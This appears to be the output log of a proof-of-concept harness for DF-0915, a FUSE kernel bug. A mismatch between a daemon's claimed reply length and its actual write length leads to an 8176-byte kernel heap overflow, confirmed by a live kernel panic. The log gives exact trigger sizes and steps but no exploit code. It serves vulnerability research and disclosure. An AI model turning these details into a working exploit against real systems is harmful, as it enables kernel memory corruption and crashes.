== DF-0915 deterministic harness (run as maxx) ==
== DF-0915 primitive harness ==
Bug: fuse_device_write stores reply.len=uio_resid (actual write)
     but audit validates ohd->len (daemon-claimed). Consumers memcpy
     reply.len-16 bytes into a bp->b_data sized to the REQUEST.

[device_write] uio_resid=12288 claimed ohd->len=4112 audit_passes=1 (reply.len left UNCLAMPED at 12288)
[consumer]   bp->b_data capacity = bp->b_bcount = 4096 bytes
[consumer]   memcpy size = fuse_out_data_size = reply.len - 16 = 12272 bytes
[consumer]   OVERFLOW = 8176 bytes past bp->b_data

RESULT: HEAP OVERFLOW WRITE of 8176 bytes confirmed.
        Daemon fully controls the 8176 overflow bytes (it wrote them).
        Impact: arbitrary kernel heap corruption adjacent to bp->b_data.
HARNESS_EXIT=0

== LIVE FUSE daemon (run as root) ==
[kldload fuse -> FUSE ABI 7.28]
[fused mount -> FUSE UABI 7.28]
[child opened /mnt/fuse/pwned, issued read() -> triggered FUSE_READ]
[daemon replied: 12288 actual bytes, ohd->len=4112 claimed -> DF-0915 TRIGGER]
[kernel consumer memcpy(bp->b_data[4096], fuse_out_data, 12272) -> PANIC]

panic: assertion "obj != NULL" failed in vm_object_hold_shared at vm_object.c:330
Trace: vm_object_hold_shared -> vm_fault -> trap_pfault -> trap -> memcpy+0xfa
(page fault DURING the overflow memcpy: bp->b_data + 8176 overran into unmapped/
 corrupted vm_object pointer; VM is down at db> prompt)